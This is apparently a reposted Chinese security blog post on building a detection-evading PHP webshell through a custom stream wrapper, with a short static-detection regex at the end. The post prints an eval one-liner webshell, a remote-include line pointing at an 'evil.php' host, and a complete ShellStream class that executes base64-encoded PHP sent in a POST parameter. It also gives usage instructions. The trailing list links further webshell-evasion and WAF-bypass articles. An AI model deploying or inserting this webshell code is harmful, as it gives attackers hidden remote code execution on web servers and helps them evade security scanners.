说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处。

前言

本文是看PHP使用流包装器实现WebShell有感,权当做个笔记。

很早的以前,我们就见过 php://input,这其实就是流包装器的一种。php://input 是个可以访问请求原始数据的只读流。下面这行代码就是通过php://input获取post的数据,执行eval的一句话木马。

<?php
    @eval(file_get_contents('php://input'))
?>

include 函数,通常用于包含本地文件和远程文件。如果可以远程文件包含,则很容易构造免杀webshell。通过 include "htttp://remote.com/evil.php",把恶意代码放到远程机器上即可。但是,远程文件包含依赖php.ini的两个配置

;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;; ; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen =Off ; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include = Off

通常情况下,这两个配置会被关闭,所以远程包含就用不了。那如果 " include 流 " 这种方式能否实现呢?

答案是肯定的,这个流我们可以通过PHP函数 stream_wrapper_register 注册包装器来实现。那为什么不使用php://input流来实现呢,要自己构造一个流函数。原因有二:

1、php://input流需要file_get_contents来获取,容易被查杀

2、http://php.net/manual/zh/wrappers.php.php这里有说明,php://input 受到 allow_url_fopen 的限制

编写

注册包装器的函数参考 http://php.net/manual/en/class.streamwrapper.php

编写实例参考http://www.cnblogs.com/jingjingdidunhe/p/6346884.html

<?php

class ShellStream
{
    protected $position;
    protected $code;     public function stream_open($path, $mode, $options, &$opened_path)
    {
        $url = parse_url($path);
        $name = $url["host"];
        $this->code = base64_decode($name);
        $this->position = 0;
        return true;
    }     public function stream_read($count)
    {
        $ret = substr($this->code, $this->position, $count);
        $this->position += strlen($ret);
        return $ret;
    }     public function stream_tell()
    {
        return $this->position;
    }     public function stream_eof()
    {
        return $this->position >= strlen($this->code);
    }     public function stream_seek($offset, $whence)
    {
        switch ($whence) {
            case SEEK_SET:
                if ($offset < strlen($this->code) && $offset >= 0) {
                    $this->position = $offset;
                    return true;
                } else {
                    return false;
                }
                break;             case SEEK_CUR:
                if ($offset >= 0) {
                    $this->position += $offset;
                    return true;
                } else {
                    return false;
                }
                break;
            case SEEK_END:
                if (strlen($this->code) + $offset >= 0) {
                    $this->position = strlen($this->code) + $offset;
                    return true;
                } else {
                    return false;
                }
                break;             default:
                return false;
        }
    }     // include
    public function stream_stat()
    {
        return stat(FILE);
    }     // file exists
    public function url_stat(string $path,int $stat)
    {
        return stat(FILE);
    }     public static function shell(){
        stream_wrapper_register('shell', ShellStream::class);
        if (isset($_POST['code'])) {
            $code = $_POST['code'];
            include 'shell://'.$code;
        } else {
            include 'shell://PD9waHAgZWNobyAiaGVsbG8gaGFjayI7';
        }
    }
} ShellStream::shell();
?>

使用方法,传入code参数。例如:

code=PD9waHAgcGhwaW5mbygpOw%3D%3D

其中 PD9waHAgcGhwaW5mbygpOw%3D%3D 就是<?php phpinfo(); 的base64编码。要想执行其他命令传入完整php代码的base64编码即可

检测

1、动态检测:一般大型互联网会有自主研发的入侵检测系统,hook底层的命令,所以可以在webshell触发命令后检测到。

2、静态检测:大多数安全产品和应急响应使用的是静态检测,这边一个思路是匹配对应的正则

(include|require)(_once){0,1}[\s*]+[\"|\']+[0-9A-Za-z_]*\://

已加入到笔者的webshell静态检测工具 findWebshell

参考

http://www.freebuf.com/articles/web/176571.html

http://www.cnblogs.com/jingjingdidunhe/p/6346884.html

流包装器实现WebShell免杀的更多相关文章

  1. JSP Webshell免杀设计

    JSP Webshell免杀设计 @author:drag0nf1y 介绍 什么是Webshell? 被服务端解析执行的php.jsp文件 什么是RCE? remote command execute ...

  2. Webshell免杀绕过waf

    转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...

  3. [9期]软WAF上传绕过+webshell免杀

    安全狗上传绕过 思路: 1.扰乱编码 form-data 替换成 ~form-data           form-data    改成 f+orm-data form-data    改成 for ...

  4. Webshell免杀研究

    前言 不想当将军的士兵不是好士兵,不想getshell的Hacker不是好Hacker~有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方,但是经常会被安全狗.D盾.护卫神.云锁等安全软 ...

  5. PHP7.1后webshell免杀

    严格的D盾 D盾说,我是个严格的人,看到eval我就报木马,"看着像"="就是"木马,宁可错杀一千,绝不放过一个.好了,多说无益,一起看看严格的D盾是如何错杀的 ...

  6. Webshell免杀

    过狗过D盾 <?php class me{ public $a = ''; function __destruct(){ assert("$this->a"); }}$ ...

  7. 全方位构造免杀 webshell 小结[一]

    转载自https://klionsec.github.io/2017/10/11/bypasswaf-for-webshell/   全方位构造免杀 webshell 小结[一]   前言:    本 ...

  8. 绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)

    这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Win ...

  9. [原创]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)

    0x001 原理 采用分离法,即将ShellCode和加载器分离.方法较LOW但免杀. 本文主要将ShellCode转成HEX,再通过加载器执行ShellCode. PS: 何为SC加载器,即专门用于 ...

随机推荐

  1. Jsp学习笔记(4)——分页查询

    核心sql i是第几页,itemNum是每页显示的数据条数 select * from ( select e.*,rownum rn from ( select * from employee whe ...

  2. android 之下拉刷新

    一.概述 Android 下拉刷新几乎是每个应用都必带的功能, 并且现在下拉刷新第三方库也越来越多了,很方便就能实现该功能, 下面我介绍一下 自己常用的几个方法. 二.例子 第一种方式:就是集成Lis ...

  3. 记一次Mysql数据库Kill完之后启动不起来的解决方案

    在Mysql运行的时候,有时候会stop不了,这时候我们就会想直接把他的进程kill掉. 但是,有时候kill完了之后,在去start它就会直接抛异常了... ERROR! The server qu ...

  4. JSP实例:彩色验证码

    本例使用一个JavaBean,名为Image.java,包com.zempty.bean下; 三个JSP文件,分别为image.jsp.login.jsp.check.jsp.其中login.jsp是 ...

  5. 记一次神奇的sql查询经历,group by慢查询优化

    一.问题背景 现网出现慢查询,在500万数量级的情况下,单表查询速度在30多秒,需要对sql进行优化,sql如下: 我在测试环境构造了500万条数据,模拟了这个慢查询. 简单来说,就是查询一定条件下, ...

  6. 为什么Kubernetes使用Pod作为最小调度单元

    一.Pod说明 Pod只是一个逻辑概念,一个原子调度单位,其优势在于 可以统一调度一组容器到指定的node上 共享资源,Pod的容器可以使用localhost进行通信,使用volume进行文件共享.使 ...

  7. 使用 Nginx 部署前后端分离项目,解决跨域问题

    前后端分离这个问题其实松哥和大家聊过很多了,上周松哥把自己的两个开源项目部署在服务器上以帮助大家可以快速在线预览(喜大普奔,两个开源的 Spring Boot + Vue 前后端分离项目可以在线体验了 ...

  8. [Pandas] 02 - Tutorial of NumPy

    Ref: NumPy 教程 这里主要是查缺补漏一些常用方法. 初步认识 矩阵常见知识点 矩阵操作 Ref: [Python] 01 - Number and Matrix[总结过一部分] 一.矩阵 ( ...

  9. [LeetCode]Jump GameII

    题目:Jump GameII 如果要求找最小的调数,考虑扩张的思路. 思路如下: 1.首先找起始位能到达的范围是否覆盖了最终位置,并记录下搜索中的最远能到达的位置值,即max{nums[i] + i} ...

  10. 【linux】【Python】python2.7安装pip9.0.1

    Centos7系统默认自带python2.7,但是没有安装pip. [root@localhost docker-elk]# python -V Python 2.7.5 [root@localhos ...